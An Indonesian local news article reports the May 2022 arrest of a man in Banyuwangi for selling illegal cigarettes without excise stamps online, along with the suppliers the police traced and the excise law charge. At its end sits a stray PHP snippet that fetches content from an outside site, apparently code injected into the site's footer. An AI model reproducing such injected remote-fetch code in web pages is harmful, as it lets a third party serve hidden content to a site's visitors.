Polsek Gambiran Meringkus Pelaku Pengedar Rokok Ilegal

Kamis, 12 Mei 2022

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Banyuwangi l Jejakkasus.info – Polsek Gambiran meringkus satu pelaku pengedar rokok ilegal. pelaku adalah Heru wicaksono,36 yang ditangkap pada 11 mei 2022 di rumah kontrakannya yang ada di daerah bulusari sekira pukul 09.00 wib.

“Dari pelaku menyita 50 slop bungkus rokok berbagai jenis,” ujar kanit reskrim polsek gambiran, Kamis (12/5/2022).

Baca Juga:  Hasil Gelar Perkara Akan Diterbitkan S-P3 Lagi

Tersangka heru menjelaskan, menjual rokok tersebut melalui sistem daring di Market Place dengan harga di bawah pasaran.

Dari hasil pemeriksaan ditemukan kalau mendapatkan rokok tanpa pita cukai tersebut dari seorang yang biyasa di sebut pak yusup, di wilayah Sukomukti, Desa Sukorejo, Kecamatan Bangorejo, Banyuwangi.

Baca Juga:  Markup Berjamaah Pengadaan Barang Dan Jasa Satuan Pendidikan Kabupaten Pringsewu

Dan ternyata miris nya lagi dia seorang tokoh agama yang terkenal di daerah nya biyasah di sebut pak ustat yusuf,“ setelah kami konfirmasi ternyata pak usat yusuf mendapat rokok ilegal tersebut dari salah satu teman nya yang bernama hasyim yang bertempat tinggal di kalibaru.

Baca Juga:  Kapolresta Banyuwangi Bagikan Sembako ke Warga Terdampak Puting Beliung

Untuk kasus ini, kepolisian menyerahkan semuanya ke pihak Bea Cukai, dalam hal ini Kantor Bea Cukai Banyuwangi. Pelaku akan dikenakapn Pasal 56 Undang-Undang No 39 Tahun 2008 tentang Cukai, dengan ancaman hukuman 1 hingga lima tahun penjara.(Team)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Lapor Pak Kapolda Lampung Pemandangan Fenomena Langkanya BBM Subsidi Di SPBU 24.353.48 Candimas ,Menuai Banyak Tanda Tanya
Kakon Banjar Sari Edi Purwanto Diduga Kuat Selewengkan Dana Desa
Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas
RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan
Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok
Walaupun Sudah Diketahui oleh Penegak Hukum Puluhan Tambang Ilegal di Laut Kerangan, Diduga APH tidak Perduli ataukah Dugaan Ada Kordinasi yang Baik
Polda Lampung Ciduk 2 Tersangka Pengelola Situs Judi Online
Polres Pringsewu Grebek Rumah di Sukoharjo, Tangkap Pengedar Sabu dan Amankan Belasan Paket Narkoba

Berita Terkait

Jumat, 11 Oktober 2024 - 07:45 WIB

Lapor Pak Kapolda Lampung Pemandangan Fenomena Langkanya BBM Subsidi Di SPBU 24.353.48 Candimas ,Menuai Banyak Tanda Tanya

Kamis, 10 Oktober 2024 - 16:33 WIB

Kakon Banjar Sari Edi Purwanto Diduga Kuat Selewengkan Dana Desa

Sabtu, 5 Oktober 2024 - 22:39 WIB

Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas

Rabu, 2 Oktober 2024 - 21:47 WIB

RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan

Kamis, 26 September 2024 - 13:27 WIB

Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>